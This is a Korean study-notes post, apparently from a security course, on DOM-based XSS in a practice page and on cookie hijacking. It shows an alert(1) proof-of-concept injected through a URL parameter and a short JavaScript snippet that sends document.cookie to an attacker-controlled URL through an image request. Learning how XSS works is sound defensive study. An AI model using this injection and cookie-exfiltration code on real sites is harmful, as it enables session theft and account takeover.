[3달 2주차 주제 : XSS: Dom Based & Cookie Hijacking]
1. Dom Based XSS
1) Dom Based XSS 란?
Dom Based XSS: DOM 구조를 이용하여 요소들을 수정하거나 추가하는 경우, 이 자바스크립트에 악성 스크립트를 삽입하여 클라이언트 측 브라우저에서 실행되도록 하는 공격
- DOM Based XSS는 클라이언트 측에서 사용자 입력 값을 통해 동적 페이지를 구성하는 환경에서 발생한다.
- 즉, 요청이 서버로 전송되지 않고 클라이언트 브라우저에서 공격이 이루어진다.
2) Dom Based XSS 찾는 과정
- 입력한 데이터가 그대로 출력되는 페이지 확인
- 객체를 생성하는 부분이나, 데이터를 가져와 가공하는 부분이 있는지 살펴보기
3) Dom Based XSS 확인 절차
1. 작성한 데이터가 그대로 출력되는 페이지 확인
| (1) 실습 페이지는 다음과 같다. |
|---|
 |
| (2) English를 선택하고 요청 / 응답 과정을 살펴보자. |
|---|
 |
| ○ default 파라미터를 통해 언어를 입력받고 있다. |
| (3) 파라미터에 임의의 데이터 (test) 입력 |
|---|
 |
| ○ 작성한 데이터가 페이지에 그대로 나타나고 있다. |
| (★) 그러나 클라이언트 측에서 데이터를 가공하고 있기 때문에, 서버 응답에는 포함되지 않는다. |
|---|
 |
2. 객체를 생성하는 부분 / 데이터 가공하는 부분 살펴보기
| (1) 개발자옵션으로 소스코드 살펴보기 |
|---|
 |
| ○ 스크립트 태그안에서 default 파라미터 값을 가져와 DOM객체를 작성하고 있다. |
| ● <option value="입력한 데이터의 URI값">입력한 데이터</option> 의 형태로 태그가 완성된다. |
| ○ 따라서 입력한 데이터가 그대로 들어가는 부분은 <option> 와 </option> 사이 이므로 이 곳에 스크립트를 작성한다. |
3. 클라이언트 측 스크립트 작성
| (1) default 파라미터에 POC 코드 작성 |
|---|
 |
| ○ deault에 <script>alert(1)</script> 작성 |
| (2) 스크립트 동작 확인 |
|---|
 |
 |
| ○ 사진1 : 입력한 스크립트가 정상적으로 삽입된 모습 |
| ● 사진2 : 해당 URL을 요청한 결과, 브라우저에서 스크립트가 정상 실행된다. |
2. XSS : 쿠키 탈취
앞선 포스트를 통해 XSS취약점을 찾고, POC코드를 실행하는 과정을 정리하였다.
이번 포스트에서는 POC코드에서 더 나아가, 쿠키값을 탈취하는 코드를 작성하고자 한다.
1. 쿠키 탈취 자바스크립트 코드
var data = document.cookie;
var i = new Image();
i.src = "URL?cookie="+data;
각 코드의 역할을 살펴보고자 한다.
| (1) var data = document.cookie; |
|---|
 |
| ○ 해당 도메인의 쿠키값을 data 변수에 저장한다. |
| (2) var i = new Image(); |
|---|
 |
| ○ 변수 i 에 이미지 태그 생성 |
| (3) i.src = "URL?cookie="+data; |
|---|
 |
| ○ 생성된 img 태그의 src 속성에 공격자 페이지 작성 |
| ● 이제 지정된 경로에 get방식으로 쿠키값을 담아 전송하게 된다. |
| 공격자 페이지 화면 |
|---|
 |
해당 사이트